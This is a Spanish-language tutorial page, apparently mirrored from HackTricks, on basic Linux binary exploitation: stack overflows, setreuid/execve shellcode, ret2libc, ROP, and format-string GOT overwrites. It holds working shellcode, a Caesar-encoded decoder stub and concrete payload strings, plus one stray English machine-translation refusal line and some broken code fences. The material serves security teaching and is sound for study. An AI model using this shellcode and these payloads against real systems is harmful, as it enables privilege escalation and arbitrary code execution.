mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-02 17:41:04 +00:00
917 lines
54 KiB
Markdown
917 lines
54 KiB
Markdown
# Linux Exploiting (Básico) (SPA)
|
||
|
||
## Linux Exploiting (Básico) (SPA)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Otras formas de apoyar a HackTricks:
|
||
|
||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
## **ASLR**
|
||
|
||
Aleatorización de direcciones
|
||
|
||
**Desactivar aleatorización (ASLR) GLOBAL (root)**:\
|
||
echo 0 > /proc/sys/kernel/randomize\_va\_space\
|
||
Reactivar aleatorización GLOBAL: echo 2 > /proc/sys/kernel/randomize\_va\_space
|
||
|
||
**Desactivar para una ejecución** (no requiere root):\
|
||
setarch \`arch\` -R ./ejemplo argumentos\
|
||
setarch \`uname -m\` -R ./ejemplo argumentos
|
||
|
||
**Desactivar protección de ejecución en pila**\
|
||
gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack ejemplo.c -o ejemplo
|
||
|
||
**Archivo Core**\
|
||
ulimit -c unlimited\
|
||
gdb /exec core\_file\
|
||
/etc/security/limits.conf -> \* soft core unlimited
|
||
|
||
**Texto**\
|
||
**Datos**\
|
||
**BSS**\
|
||
**Montón**
|
||
|
||
**Pila**
|
||
|
||
**Sección BSS**: Variables globales o estáticas sin inicializar
|
||
```
|
||
static int i;
|
||
```
|
||
**Sección DATA**: Variables globales o estáticas inicializadas
|
||
```
|
||
int i = 5;
|
||
```
|
||
**Sección TEXT**: Instrucciones del código (opcodes)
|
||
|
||
**Sección HEAP**: Buffers reservados de forma dinámica (malloc(), calloc(), realloc())
|
||
|
||
**Sección STACK**: La pila (Argumentos pasados, cadenas de entorno (env), variables locales…)
|
||
|
||
## **1. DESBORDAMIENTOS DE PILA**
|
||
|
||
> buffer overflow, buffer overrun, stack overrun, stack smashing
|
||
|
||
Fallo de segmentación o violación de segmento: Cuando se intenta acceder a una dirección de memoria que no ha sido asignada al proceso.
|
||
|
||
Para obtener la dirección de una función dentro de un programa se puede hacer:
|
||
```
|
||
objdump -d ./PROGRAMA | grep FUNCION
|
||
```
|
||
## ROP
|
||
|
||
### Llamada a sys\_execve
|
||
|
||
{% content-ref url="rop-syscall-execv.md" %}
|
||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||
{% endcontent-ref %}
|
||
|
||
## **2.SHELLCODE**
|
||
|
||
Ver interrupciones de kernel: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
|
||
|
||
setreuid(0,0); // \_\_NR\_setreuid 70\
|
||
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
|
||
exit(0); // \_\_NR\_exit 1
|
||
|
||
xor eax, eax ; limpiamos eax\
|
||
xor ebx, ebx ; ebx = 0 ya que no hay argumento que pasar\
|
||
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
|
||
int 0x80 ; Ejecutar syscall
|
||
|
||
**nasm -f elf assembly.asm** —> Devuelve un archivo .o\
|
||
**ld assembly.o -o shellcodeout** —> Genera un ejecutable a partir del código ensamblador y podemos obtener los opcodes con **objdump**\
|
||
**objdump -d -Mintel ./shellcodeout** —> Para confirmar que es nuestra shellcode y extraer los OpCodes
|
||
|
||
**Verificar que la shellcode funciona**
|
||
```
|
||
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
|
||
|
||
void main(){
|
||
void (*fp) (void);
|
||
fp = (void *)shellcode;
|
||
fp();
|
||
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||
```
|
||
Para verificar que las llamadas al sistema se ejecutan correctamente, se debe compilar el programa anterior y las llamadas al sistema deben mostrarse en **strace ./PROGRAMA\_COMPILADO**
|
||
|
||
Al crear shellcodes, se puede emplear un truco. La primera instrucción es un salto a un call. El call invoca al código original y, además, coloca en la pila el EIP. Tras la instrucción call, hemos insertado el string que necesitábamos, así que con ese EIP podemos apuntar al string y continuar ejecutando el código.
|
||
|
||
EJ **TRUCO (/bin/sh)**:
|
||
```
|
||
jmp 0x1f ; Salto al último call
|
||
popl %esi ; Guardamos en ese la dirección al string
|
||
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
|
||
xorl %eax, %eax ; eax = NULL
|
||
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
|
||
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
|
||
movl $0xb, %eax ; Syscall 11
|
||
movl %esi, %ebx ; arg1=“/bin/sh”
|
||
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
|
||
leal 0xc(%esi), %edx ; arg3 = NULL
|
||
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
|
||
xorl %ebx, %ebx ; ebx = NULL
|
||
movl %ebx, %eax
|
||
inc %eax ; Syscall 1
|
||
int $0x80 ; exit(0)
|
||
call -0x24 ; Salto a la primera instrución
|
||
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
|
||
```
|
||
Since you haven't provided any English text to translate, I can't proceed with a translation. If you provide the relevant English content, I'll be happy to translate it into Spanish for you, maintaining the markdown and HTML syntax as requested.
|
||
```
|
||
section .text
|
||
global _start
|
||
_start:
|
||
xor eax, eax ;Limpieza
|
||
mov al, 0x46 ; Syscall 70
|
||
xor ebx, ebx ; arg1 = 0
|
||
xor ecx, ecx ; arg2 = 0
|
||
int 0x80 ; setreuid(0,0)
|
||
xor eax, eax ; eax = 0
|
||
push eax ; “\0”
|
||
push dword 0x68732f2f ; “//sh”
|
||
push dword 0x6e69622f; “/bin”
|
||
mov ebx, esp ; arg1 = “/bin//sh\0”
|
||
push eax ; Null -> args[1]
|
||
push ebx ; “/bin/sh\0” -> args[0]
|
||
mov ecx, esp ; arg2 = args[]
|
||
mov al, 0x0b ; Syscall 11
|
||
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
|
||
```
|
||
**EJEMPLO DE USO:**
|
||
```
|
||
fabs
|
||
fnstenv [esp-0x0c]
|
||
pop eax ; Guarda el EIP en el que se ejecutó fabs
|
||
…
|
||
```
|
||
**Egg Hunter:**
|
||
|
||
Es un código reducido que escanea las páginas de memoria vinculadas a un proceso para encontrar la shellcode almacenada (busca una firma específica en la shellcode). Es útil cuando solo se dispone de un espacio limitado para inyectar código.
|
||
|
||
**Shellcodes polimórficos**
|
||
|
||
Son shellcodes encriptadas que incluyen un pequeño código que las desencripta y ejecuta, utilizando la técnica de Call-Pop. Aquí hay un **ejemplo de cifrado César**:
|
||
```
|
||
global _start
|
||
_start:
|
||
jmp short magic
|
||
init:
|
||
pop esi
|
||
xor ecx, ecx
|
||
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
|
||
desc:
|
||
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
|
||
sub cl, 1
|
||
jnz desc
|
||
jmp short sc
|
||
magic:
|
||
call init
|
||
sc:
|
||
;Aquí va el shellcode
|
||
```
|
||
1. **Atacando el Frame Pointer (EBP)**
|
||
|
||
Útil en una situación en la que podemos modificar el EBP pero no el EIP.
|
||
|
||
Se sabe que al salir de una función se ejecuta el siguiente código ensamblador:
|
||
```
|
||
movl %ebp, %esp
|
||
popl %ebp
|
||
ret
|
||
```
|
||
```
|
||
De esta manera, si se puede modificar el EBP al salir de una función (fvuln) que ha sido llamada por otra función, cuando la función que llamó a fvuln finalice, su EIP puede ser modificado.
|
||
|
||
En fvuln se puede introducir un EBP falso que apunte a un sitio donde esté la dirección de la shellcode + 4 (hay que sumarle 4 por el pop). Así, al salir de la función, se meterá en ESP el valor de &(\&Shellcode)+4, con el pop se le restará 4 al ESP y este apuntará a la dirección de la shellcode cuando se ejecute el ret.
|
||
|
||
**Exploit:**\
|
||
\&Shellcode + "AAAA" + SHELLCODE + relleno + &(\&Shellcode)+4
|
||
|
||
**Off-by-One Exploit**\
|
||
Se permite modificar solo el byte menos significativo del EBP. Se puede llevar a cabo un ataque como el anterior pero la memoria que guarda la dirección de la shellcode debe compartir los 3 primeros bytes con el EBP.
|
||
|
||
## **4. Métodos return to Libc**
|
||
|
||
Método útil cuando el stack no es ejecutable o deja un buffer muy pequeño para modificar.
|
||
|
||
El ASLR provoca que en cada ejecución las funciones se carguen en posiciones distintas de la memoria. Por lo tanto, este método puede no ser efectivo en ese caso. Para servidores remotos, como el programa está siendo ejecutado constantemente en la misma dirección sí puede ser útil.
|
||
|
||
* **cdecl(C declaration)** Introduce los argumentos en el stack y tras salir de la función limpia la pila.
|
||
* **stdcall(standard call)** Introduce los argumentos en la pila y es la función llamada la que la limpia.
|
||
* **fastcall** Introduce los dos primeros argumentos en registros y el resto en la pila.
|
||
|
||
Se pone la dirección de la instrucción system de libc y se le pasa como argumento el string “/bin/sh”, normalmente desde una variable de entorno. Además, se usa la dirección a la función exit para que una vez que no se requiera más la shell, salga el programa sin dar problemas (y escribir logs).
|
||
|
||
**export SHELL=/bin/sh**
|
||
|
||
Para encontrar las direcciones que necesitaremos se puede mirar dentro de **GDB:**\
|
||
**p system**\
|
||
**p exit**\
|
||
**rabin2 -i ejecutable** —> Da la dirección de todas las funciones que usa el programa al cargarse\
|
||
(Dentro de un start o algún breakpoint): **x/500s $esp** —> Buscamos dentro de aquí el string /bin/sh
|
||
|
||
Una vez tengamos estas direcciones el **exploit** quedaría:
|
||
|
||
“A” \* DISTANCIA EBP + 4 (EBP: pueden ser 4 "A"s aunque mejor si es el EBP real para evitar fallos de segmentación) + Dirección de **system** (sobreescribirá el EIP) + Dirección de **exit** (al salir de system(“/bin/sh”) se llamará a esta función pues los primeros 4 bytes del stack son tratados como la siguiente dirección del EIP a ejecutar) + Dirección de “**/bin/sh**” (será el parámetro pasado a system)
|
||
|
||
De esta manera el EIP se sobreescribirá con la dirección de system, la cual recibirá como parámetro el string “/bin/sh” y al salir de este ejecutará la función exit().
|
||
|
||
Es posible encontrarse en la situación de que algún byte de alguna dirección de alguna función sea nulo o espacio (\x20). En ese caso se pueden desensamblar las direcciones anteriores a dicha función pues probablemente haya varios NOPs que nos permitan poder llamar a alguno de ellos en vez de a la función directamente (por ejemplo con > x/8i system-4).
|
||
|
||
Este método funciona pues al llamar a una función como system usando el opcode **ret** en vez de **call**, la función entiende que los primeros 4 bytes serán la dirección **EIP** a la que volver.
|
||
|
||
Una técnica interesante con este método es el llamar a **strncpy()** para mover un payload del stack al heap y posteriormente usar **gets()** para ejecutar dicho payload.
|
||
|
||
Otra técnica interesante es el uso de **mprotect()** la cual permite asignar los permisos deseados a cualquier parte de la memoria. Sirve o servía en BDS, MacOS y OpenBSD, pero no en linux (controla que no se puedan otorgar a la vez permisos de escritura y ejecución). Con este ataque se podría volver a configurar la pila como ejecutable.
|
||
|
||
**Encadenamiento de funciones**
|
||
|
||
Basándonos en la técnica anterior, esta forma de exploit consiste en:\
|
||
Relleno + \&Función1 + \&pop;ret; + \&arg_fun1 + \&Función2 + \&pop;ret; + \&arg_fun2 + …
|
||
|
||
De esta manera se pueden encadenar funciones a las que llamar. Además, si se quieren usar funciones con varios argumentos, se pueden poner los argumentos necesarios (ej 4) y poner los 4 argumentos y buscar dirección a un sitio con opcodes: pop, pop, pop, pop, ret —> **objdump -d ejecutable**
|
||
|
||
**Encadenamiento mediante falseo de frames (encadenamiento de EBPs)**
|
||
|
||
Consiste en aprovechar el poder manipular el EBP para ir encadenando la ejecución de varias funciones a través del EBP y de "leave;ret"
|
||
|
||
RELLENO
|
||
|
||
* Situamos en el EBP un EBP falso que apunta a: 2º EBP_falso + la función a ejecutar: (\&system() + \&leave;ret + &“/bin/sh”)
|
||
* En el EIP ponemos de dirección una función &(leave;ret)
|
||
|
||
Iniciamos la shellcode con la dirección a la siguiente parte de la shellcode, por ej: 2ºEBP_falso + \&system() + &(leave;ret;) + &”/bin/sh”
|
||
|
||
el 2ºEBP sería: 3ºEBP_falso + \&system() + &(leave;ret;) + &”/bin/ls”
|
||
|
||
Esta shellcode se puede repetir indefinidamente en las partes de memoria a las que se tenga acceso de forma que se conseguirá una shellcode fácilmente divisible por pequeños trozos de memoria.
|
||
|
||
(Se encadena la ejecución de funciones mezclando las vulnerabilidades vistas anteriormente de EBP y de ret2lib)
|
||
|
||
## **5.Métodos complementarios**
|
||
|
||
**Ret2Ret**
|
||
|
||
Útil para cuando no se puede meter una dirección del stack en el EIP (se comprueba que el EIP no contenga 0xbf) o cuando no se puede calcular la ubicación de la shellcode. Pero, la función vulnerable acepta un parámetro (la shellcode irá aquí).
|
||
|
||
De esta manera, al cambiar el EIP por una dirección a un **ret**, se cargará la siguiente dirección (que es la dirección del primer argumento de la función). Es decir, se cargará la shellcode.
|
||
|
||
El exploit quedaría: SHELLCODE + Relleno (hasta EIP) + **\&ret** (los siguientes bytes de la pila apuntan al inicio de la shellcode pues se mete en el stack la dirección al parámetro pasado)
|
||
|
||
Al parecer funciones como **strncpy** una vez completas eliminan de la pila la dirección donde estaba guardada la shellcode imposibilitando esta técnica. Es decir, la dirección que pasan a la función como argumento (la que guarda la shellcode) es modificada por un 0x00 por lo que al llamar al segundo **ret** se encuentra con un 0x00 y el programa muere.
|
||
```
|
||
```
|
||
**Ret2PopRet**
|
||
```
|
||
Si no tenemos control sobre el primer argumento pero sí sobre el segundo o el tercero, podemos sobrescribir EIP con una dirección a pop-ret o pop-pop-ret, según la que necesitemos.
|
||
|
||
**Técnica de Murat**
|
||
|
||
En linux todos los programas se mapean comenzando en 0xbfffffff
|
||
|
||
Viendo cómo se construye la pila de un nuevo proceso en linux se puede desarrollar un exploit de forma que el programa sea arrancado en un entorno cuya única variable sea la shellcode. La dirección de esta entonces se puede calcular como: addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode)
|
||
|
||
De esta forma se obtendría de forma sencilla la dirección donde está la variable de entorno con la shellcode.
|
||
|
||
Esto se puede hacer gracias a que la función execle permite crear un entorno que solo tenga las variables de entorno que se deseen
|
||
|
||
**Jump to ESP: Windows Style**
|
||
|
||
Debido a que el ESP está apuntando al comienzo del stack siempre, esta técnica consiste en sustituir el EIP con la dirección a una llamada a **jmp esp** o **call esp**. De esta forma, se guarda la shellcode después de la sobreescritura del EIP ya que después de ejecutar el **ret** el ESP se encontrará apuntando a la dirección siguiente, justo donde se ha guardado la shellcode.
|
||
|
||
En caso de que no se tenga el ASLR activo en Windows o Linux se puede llamar a **jmp esp** o **call esp** almacenadas en algún objeto compartido. En caso de que esté el ASLR, se podría buscar dentro del propio programa vulnerable.
|
||
|
||
Además, el hecho de poder colocar la shellcode después de la corrupción del EIP en vez de en medio del stack, permite que las instrucciones push o pop que se ejecuten en medio de la función no lleguen a tocar la shellcode (cosa que podría ocurrir en caso de ponerse en medio del stack de la función).
|
||
|
||
De forma muy similar a esto si sabemos que una función devuelve la dirección donde está guardada la shellcode se puede llamar a **call eax** o **jmp eax (ret2eax).**
|
||
|
||
**ROP (Return Oriented Programming) o borrowed code chunks**
|
||
|
||
Los trozos de código que se invocan se conocen como gadgets.
|
||
|
||
Esta técnica consiste en encadenar distintas llamadas a funciones mediante la técnica de **ret2libc** y el uso de **pop,ret**.
|
||
|
||
En algunas arquitecturas de procesadores cada instrucción es un conjunto de 32bits (MIPS por ej). Sin embargo, en Intel las instrucciones son de tamaño variable y varias instrucciones pueden compartir un conjunto de bits, por ejemplo:
|
||
|
||
**movl $0xe4ff, -0x(%ebp)** —> Contiene los bytes 0xffe4 que también se traducen por: **jmp \*%esp**
|
||
|
||
De esta forma se pueden ejecutar algunas instrucciones que realmente ni siquiera están en el programa original
|
||
|
||
**ROPgadget.py** nos ayuda a encontrar valores en binarios
|
||
|
||
Este programa también sirve para crear los **payloads**. Le puedes dar la librería de la que quieres sacar los ROPs y él generará un payload en python al cual tú le das la dirección en la que está dicha librería y el payload ya está listo para ser usado como shellcode. Además, como usa llamadas al sistema no ejecuta realmente nada en el stack sino que solo va guardando direcciones de ROPs que se ejecutarán mediante **ret**. Para usar este payload hay que llamar al payload mediante una instrucción **ret**.
|
||
|
||
**Integer overflows**
|
||
|
||
Este tipo de overflows se producen cuando una variable no está preparada para soportar un número tan grande como se le pasa, posiblemente por una confusión entre variables con y sin signo, por ejemplo:
|
||
```c
|
||
#include <stdion.h>
|
||
#include <string.h>
|
||
#include <stdlib.h>
|
||
|
||
int main(int argc, char *argv[]){
|
||
int len;
|
||
unsigned int l;
|
||
char buffer[256];
|
||
int i;
|
||
len = l = strtoul(argv[1], NULL, 10);
|
||
printf("\nL = %u\n", l);
|
||
printf("\nLEN = %d\n", len);
|
||
if (len >= 256){
|
||
printf("\nLongitus excesiva\n");
|
||
exit(1);
|
||
}
|
||
if(strlen(argv[2]) < l)
|
||
strcpy(buffer, argv[2]);
|
||
else
|
||
printf("\nIntento de hack\n");
|
||
return 0;
|
||
}
|
||
```
|
||
En el ejemplo anterior vemos que el programa espera 2 parámetros. El primero es la longitud de la siguiente cadena y el segundo es la cadena.
|
||
|
||
Si le pasamos como primer parámetro un número negativo, resultará que len < 256 y superaremos ese filtro, y además también strlen(buffer) será menor que l, ya que l es un unsigned int y será muy grande.
|
||
|
||
Este tipo de overflows no busca lograr escribir algo en el proceso del programa, sino superar filtros mal diseñados para explotar otras vulnerabilidades.
|
||
|
||
**Variables no inicializadas**
|
||
|
||
No se conoce el valor que puede tomar una variable no inicializada y podría ser interesante observar qué valor adquiere. Puede ser que tome el valor que tenía una variable de la función anterior y que esta sea controlada por el atacante.
|
||
|
||
## **Format Strings**
|
||
|
||
En C, **`printf`** es una función que se puede utilizar para **imprimir** una cadena de texto. El **primer parámetro** que espera esta función es el **texto crudo con los formateadores**. Los **parámetros siguientes** esperados son los **valores** para **sustituir** los **formateadores** en el texto crudo.
|
||
|
||
La vulnerabilidad aparece cuando un **texto del atacante se coloca como primer argumento** en esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de la cadena de formato de **printf** para **escribir cualquier dato en cualquier dirección**. De esta manera, será posible **ejecutar código arbitrario**.
|
||
|
||
Formateadores:
|
||
```bash
|
||
%08x —> 8 hex bytes
|
||
%d —> Entire
|
||
%u —> Unsigned
|
||
%s —> String
|
||
%n —> Number of written bytes
|
||
%hn —> Occupies 2 bytes instead of 4
|
||
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
||
```
|
||
**`%n`** **escribe** el **número de bytes escritos** en la **dirección indicada. Escribir** tantos **bytes** como el número hex que **necesitamos** escribir es cómo puedes **escribir cualquier dato**.
|
||
```bash
|
||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||
AAAA.%500\$08x —> Param at offset 500
|
||
```
|
||
### GOT (Global Offsets Table) / PLT (\*\*Procedure Linkage Table)
|
||
|
||
Esta es la tabla que contiene la **dirección** a las **funciones externas** utilizadas por el programa.
|
||
|
||
Obtén la dirección de esta tabla con: **`objdump -s -j .got ./exec`**
|
||
|
||
![](<../../.gitbook/assets/image (619).png>)
|
||
|
||
Observa cómo después de **cargar** el **ejecutable** en GEF puedes **ver** las **funciones** que están en el **GOT**: `gef➤ x/20x 0xDIR_GOT`
|
||
|
||
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
|
||
|
||
Usando GEF puedes **iniciar** una sesión de **depuración** y ejecutar **`got`** para ver la tabla GOT:
|
||
|
||
![](<../../.gitbook/assets/image (621).png>)
|
||
|
||
En un binario, el GOT tiene las **direcciones de las funciones o** a la sección **PLT** que cargará la dirección de la función. El objetivo de este exploit es **sobrescribir la entrada GOT** de una función que se ejecutará más tarde **con** la **dirección** de la PLT de la **función `system`**. Idealmente, **sobrescribirás** el **GOT** de una **función** que **se llamará con parámetros controlados por ti** (así podrás controlar los parámetros enviados a la función system).
|
||
|
||
Si **`system`** **no se utiliza** en el script, la función system **no** tendrá una entrada en el GOT. En este escenario, **necesitarás filtrar primero la dirección** de la función `system`.
|
||
|
||
**Procedure Linkage Table** es una tabla **solo lectura** en el archivo ELF que almacena todos los **símbolos necesarios que requieren resolución**. Cuando se llama a una de estas funciones, el **GOT** **redirigirá** el **flujo** a la **PLT** para que pueda **resolver** la **dirección** de la función y escribirla en el GOT.
|
||
Luego, la **próxima vez** que se realice una llamada a esa dirección, la **función** se **llama directamente** sin necesidad de resolverla.
|
||
|
||
Puedes ver las direcciones PLT con **`objdump -j .plt -d ./vuln_binary`**
|
||
|
||
### **Flujo del Exploit**
|
||
|
||
Como se explicó antes, el objetivo va a ser **sobrescribir** la **dirección** de una **función** en la tabla **GOT** que se llamará más tarde. Idealmente podríamos establecer la **dirección a un shellcode** ubicado en una sección ejecutable, pero es muy probable que no puedas escribir un shellcode en una sección ejecutable.
|
||
Por lo tanto, una opción diferente es **sobrescribir** una **función** que **recibe** sus **argumentos** del **usuario** y **apuntarla** a la **función `system`**.
|
||
|
||
Para escribir la dirección, generalmente se hacen 2 pasos: **Primero escribes 2Bytes** de la dirección y luego los otros 2. Para hacerlo se utiliza **`$hn`**.
|
||
|
||
**HOB** se llama a los 2 bytes superiores de la dirección\
|
||
**LOB** se llama a los 2 bytes inferiores de la dirección
|
||
|
||
Entonces, debido a cómo funciona el formato de cadena, necesitas **escribir primero el más pequeño** de \[HOB, LOB] y luego el otro.
|
||
|
||
Si HOB < LOB\
|
||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||
|
||
Si HOB > LOB\
|
||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||
|
||
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
||
|
||
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
|
||
|
||
### **Plantilla de Exploit de Cadena de Formato**
|
||
|
||
Puedes encontrar una **plantilla** para explotar el GOT usando cadenas de formato aquí:
|
||
|
||
{% content-ref url="format-strings-template.md" %}
|
||
[format-strings-template.md](format-strings-template.md)
|
||
{% endcontent-ref %}
|
||
|
||
### **.fini_array**
|
||
|
||
Esencialmente esta es una estructura con **funciones que se llamarán** antes de que el programa termine. Esto es interesante si puedes llamar a tu **shellcode simplemente saltando a una dirección**, o en casos en los que necesitas volver al main nuevamente para **explotar la cadena de formato por segunda vez**.
|
||
```bash
|
||
objdump -s -j .fini_array ./greeting
|
||
|
||
./greeting: file format elf32-i386
|
||
|
||
Contents of section .fini_array:
|
||
8049934 a0850408
|
||
|
||
#Put your address in 0x8049934
|
||
```
|
||
Tenga en cuenta que esto **no** **creará** un **bucle eterno** porque cuando regrese a main, el canario se dará cuenta, el final de la pila podría estar dañado y la función no se volverá a llamar. Así que con esto podrás **tener 1 ejecución más** de la vulnerabilidad.
|
||
|
||
### **Cadenas de Formato para Volcar Contenido**
|
||
|
||
Una cadena de formato también puede ser abusada para **volcar contenido** de la memoria del programa.\
|
||
Por ejemplo, en la siguiente situación hay una **variable local en la pila apuntando a una bandera.** Si **encuentras** dónde en la **memoria** está el **puntero** a la **bandera**, puedes hacer que **printf acceda** a esa **dirección** e **imprima** la **bandera**:
|
||
|
||
Entonces, la bandera está en **0xffffcf4c**
|
||
|
||
![](<../../.gitbook/assets/image (618) (2).png>)
|
||
|
||
Y del volcado puedes ver que el **puntero a la bandera** está en el **octavo** parámetro:
|
||
|
||
![](<../../.gitbook/assets/image (623).png>)
|
||
|
||
Entonces, **accediendo** al **octavo parámetro** puedes obtener la bandera:
|
||
|
||
![](<../../.gitbook/assets/image (624).png>)
|
||
|
||
Note que siguiendo el **exploit anterior** y dándose cuenta de que puede **volcar contenido**, puede **establecer punteros** a **`printf`** a la sección donde el **ejecutable** está **cargado** y **volcarlo** **completamente**.
|
||
|
||
### **DTOR**
|
||
|
||
{% hint style="danger" %}
|
||
Hoy en día es muy **raro encontrar un binario con una sección dtor**.
|
||
{% endhint %}
|
||
|
||
Los destructores son funciones que se **ejecutan antes de que el programa termine**.\
|
||
Si logras **escribir** una **dirección** a un **shellcode** en **`__DTOR_END__`**, eso se **ejecutará** antes de que el programa termine.\
|
||
Obtén la dirección de esta sección con:
|
||
```bash
|
||
objdump -s -j .dtors /exec
|
||
rabin -s /exec | grep “__DTOR”
|
||
```
|
||
Normalmente encontrarás la sección **DTOR** **entre** los valores `ffffffff` y `00000000`. Así que si solo ves esos valores, significa que **no hay ninguna función registrada**. Por lo tanto, **sobrescribe** el **`00000000`** con la **dirección** al **shellcode** para ejecutarlo.
|
||
|
||
### **Format Strings to Buffer Overflows**
|
||
|
||
El **sprintf mueve** una cadena formateada **a** una **variable.** Por lo tanto, podrías abusar del **formateo** de una cadena para causar un **desbordamiento de búfer en la variable** donde se copia el contenido.\
|
||
Por ejemplo, el payload `%.44xAAAA` **escribirá 44B+"AAAA" en la variable**, lo que puede causar un desbordamiento de búfer.
|
||
|
||
### **\_\_atexit Structures**
|
||
|
||
{% hint style="danger" %}
|
||
Hoy en día es muy **raro explotar esto**.
|
||
{% endhint %}
|
||
|
||
**`atexit()`** es una función a la que **se pasan otras funciones como parámetros.** Estas **funciones** serán **ejecutadas** al realizar un **`exit()`** o el **retorno** del **main**.\
|
||
Si puedes **modificar** la **dirección** de alguna de estas **funciones** para que apunte a un shellcode, por ejemplo, **ganarás control** del **proceso**, pero esto actualmente es más complicado.\
|
||
Actualmente las **direcciones de las funciones** a ejecutar están **ocultas** detrás de varias estructuras y finalmente la dirección a la que apuntan no son las direcciones de las funciones, sino que están **cifradas con XOR** y desplazamientos con una **clave aleatoria**. Así que actualmente este vector de ataque es **no muy útil al menos en x86** y **x64\_86**.\
|
||
La **función de cifrado** es **`PTR_MANGLE`**. **Otras arquitecturas** como m68k, mips32, mips64, aarch64, arm, hppa... **no implementan la función de cifrado** porque **devuelve lo mismo** que recibió como entrada. Por lo tanto, estas arquitecturas serían atacables por este vector.
|
||
|
||
### **setjmp() & longjmp()**
|
||
|
||
{% hint style="danger" %}
|
||
Hoy en día es muy **raro explotar esto**.
|
||
{% endhint %}
|
||
|
||
**`Setjmp()`** permite **guardar** el **contexto** (los registros)\
|
||
**`longjmp()`** permite **restaurar** el **contexto**.\
|
||
Los **registros guardados** son: `EBX, ESI, EDI, ESP, EIP, EBP`\
|
||
Lo que sucede es que EIP y ESP son pasados por la función **`PTR_MANGLE`**, por lo que las **arquitecturas vulnerables a este ataque son las mismas que las anteriores**.\
|
||
Son útiles para la recuperación de errores o interrupciones.\
|
||
Sin embargo, por lo que he leído, los otros registros no están protegidos, **así que si hay un `call ebx`, `call esi` o `call edi`** dentro de la función que se llama, se puede tomar el control. O también podrías modificar EBP para modificar el ESP.
|
||
|
||
**VTable y VPTR en C++**
|
||
|
||
Cada clase tiene una **Vtable** que es un arreglo de **punteros a métodos**.
|
||
|
||
Cada objeto de una **clase** tiene un **VPtr** que es un **puntero** al arreglo de su clase. El VPtr es parte del encabezado de cada objeto, así que si se logra un **sobrescritura** del **VPtr**, podría ser **modificado** para **apuntar** a un método ficticio para que al ejecutar una función vaya al shellcode.
|
||
|
||
## **Medidas preventivas y evasiones**
|
||
|
||
**ASLR no tan aleatorio**
|
||
|
||
PaX divide el espacio de direcciones del proceso en 3 grupos:
|
||
|
||
Código y datos iniciados y no iniciados: .text, .data y .bss —> 16 bits de entropía en la variable delta\_exec, esta variable se inicia aleatoriamente con cada proceso y se suma a las direcciones iniciales
|
||
|
||
Memoria asignada por mmap() y bibliotecas compartidas —> 16 bits, delta\_mmap
|
||
|
||
El stack —> 24 bits, delta\_stack —> Realmente 11 (del byte 10º al 20º inclusive) —> alineado a 16 bytes —> 524.288 posibles direcciones reales del stack
|
||
|
||
Las variables de entorno y los argumentos se desplazan menos que un buffer en el stack.
|
||
|
||
**Return-into-printf**
|
||
|
||
Es una técnica para convertir un desbordamiento de búfer en un error de cadena de formato. Consiste en sustituir el EIP para que apunte a un printf de la función y pasarle como argumento una cadena de formato manipulada para obtener valores sobre el estado del proceso.
|
||
|
||
**Ataque a bibliotecas**
|
||
|
||
